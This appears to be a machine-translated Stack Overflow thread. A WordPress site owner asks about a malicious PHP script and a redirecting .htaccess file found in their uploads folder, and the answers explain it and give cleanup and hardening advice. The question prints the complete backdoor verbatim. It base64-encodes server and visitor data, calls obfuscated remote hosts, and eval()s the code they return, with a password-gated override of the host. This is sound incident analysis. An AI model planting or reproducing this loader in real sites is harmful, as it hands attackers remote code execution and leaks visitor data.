【问题标题】:What is this script doing (found in Wordpress uploads folder)这个脚本在做什么(在 Wordpress 上传文件夹中找到)
【发布时间】:2012-01-27 12:34:57
【问题描述】:

我发现这个脚本散落在我共享主机上的 Wordpress 上传文件夹中。我不知道它是如何到达那里的,我一直在使用最新版本的 Wordpress 和我所有的插件。

该脚本已分散到我的上传文件夹中所有可能的子文件夹中,并带有一个帮助程序 .htaccess 文件,以将流量引导到该脚本。它只能在上传文件夹中找到,在它之外没有文件。

你能帮我解码这个脚本在做什么以及如果它做了坏事,我怎么能从中恢复

这是帮助程序 .htaccess 文件,

Options -MultiViews
ErrorDocument 404 //wp-content/uploads/54580.php

这里是主脚本(或pastebin),

error_reporting(0);
$a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$i = (isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);
$j = (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
$z = "/?" . base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g) . "." . base64_encode($h) . ".e." . base64_encode($i) . "." . base64_encode($j);
$f = base64_decode("cnNzbmV3cy53cw==");
if (basename($c) == basename($i) && isset($_REQUEST["q"]) && md5($_REQUEST["q"]) == "ceaa2f454d1892ee1d5c3f777e07144d") $f = $_REQUEST["id"];
if ($c = file_get_contents(base64_decode("aHR0cDovLzdhZHMu") . $f . $z)) eval($c); 
else if ($c = file_get_contents(base64_decode("aHR0cDovLzcu") . $f . $z)) eval($c); 
else {
    $cu = curl_init(base64_decode("aHR0cDovLzcxLg==") . $f . $z);
    curl_setopt($cu, CURLOPT_RETURNTRANSFER, 1);
    $o = curl_exec($cu);
    curl_close($cu);
    eval($o);
}
;
die(); 

【问题讨论】:

    标签: php wordpress security


    【解决方案1】:

    首先,它关闭错误报告,确保如果出现问题,没有人会看到错误消息。

    然后,它似乎从另一个服务器下载文件。

    该服务器的 IP 地址已经被混淆了一点,并对片段进行了 base64 编码。 if 语句的复杂意大利面条代码将其重新组合成(可能)有效的服务器 IP 地址。

    如果它可以下载该文件,它将对其进行 eval(),这意味着它将把它解释为 PHP,然后运行它。

    【讨论】:

      【解决方案2】:

      你能帮我解码这个脚本在做什么吗

      它从其他服务器加载有效负载并执行它。

      如果它做了坏事,我怎么能从中恢复?

      删除脚本。恢复未受污染的站点备份。与遇到此类问题的人联系,了解您的网站并获得更好的未来方向。

      【讨论】:

      • 很好的答案,一个附录:不要忘记更改您的 FTP 密码以防万一! (赞成)
      • 更新你的wordpress! cvedetails.com/product/4096/…(26 个任意代码执行 vuls 和 16 个 Sql 注入)也更新模块 - 它们对 vuls 来说更糟!删除您不使用的任何模块。对您自己编写的任何模块进行安全审查。查看您的用户及其授权级别并重置他们的 wordpress 密码。查看帖子、模板和 cmets 的所有内容。
      • 正如此处已暗示但未明确说明的那样,此文件是您的网站已被黑客入侵的症状 - 而不是原因。 Wordpress 有漏洞的历史 - 但它也提供了一种支持插件的机制 - naby 没有像它们可能的那样得到很好的维护。
      • @symcbean:关于症状(而不是原因)的要点。但该怪谁? WP 和插件在 GPL 下发布,没有任何保证条款。
      • 我试图说明的一点是,zsero 不会通过删除文件/从备份恢复来让他/她自己摆脱当前的漏洞 - 但使服务器足够安全以防止在未来将是一项艰巨的工作。
      【解决方案3】:

      它正在调用一个远程 url,可能是为了发送信息。 7ads.rssnews.com 或 7.rssnews.com

      我认为,你应该从你的网络服务器中删除这个文件,它似乎不安全。

      【讨论】:

        【解决方案4】:

        从根文件夹中的 .htacces 中删除这一行

        ErrorDocument 404 //wp-content/uploads/54580.php
        

        删除所有名称为 54580.php 的文件

        仅在 wp-content/uploads 上授予写入公共权限

        为其余部分授予公共读取权限。

        它现在做什么......它正在向 rssnews(dot)ws 发送一些信息

        【讨论】:

        • 实际上是 7.rssnews(dot)ws 或 7ads.rssnews(dot)ws
        【解决方案5】:

        还可以查看哪些插件可以将文件上传到上传目录。那里有一个文件用于上传文件,仅仅因为您的所有插件都是最新的,并不意味着它们正在被攻击者利用。

        即使在其中发现了漏洞,一些插件编码人员也没有使他们的插件保持最新状态。一些插件目前正在被利用,但尚未公开利用,而且还有一些 Wordpress 自己认为还不足以修复的问题。 示例:http://goo.gl/EfMTJ

        此外,如果您之前曾被黑客入侵,您可能错过了仍可能驻留在您的网络文件夹中的 shell 代码(后门文件)。使用 uploads 的原因可能有两个原因,一是它可能被网络服务器写入,二是它是插件和主站点用来上传文件的公共文件夹。

        【讨论】:

          猜你喜欢
          • 1970-01-01
          • 2011-08-26
          • 2022-01-10
          • 1970-01-01
          • 1970-01-01
          • 2014-01-14
          • 1970-01-01
          • 1970-01-01
          • 2017-10-24
          相关资源
          最近更新 更多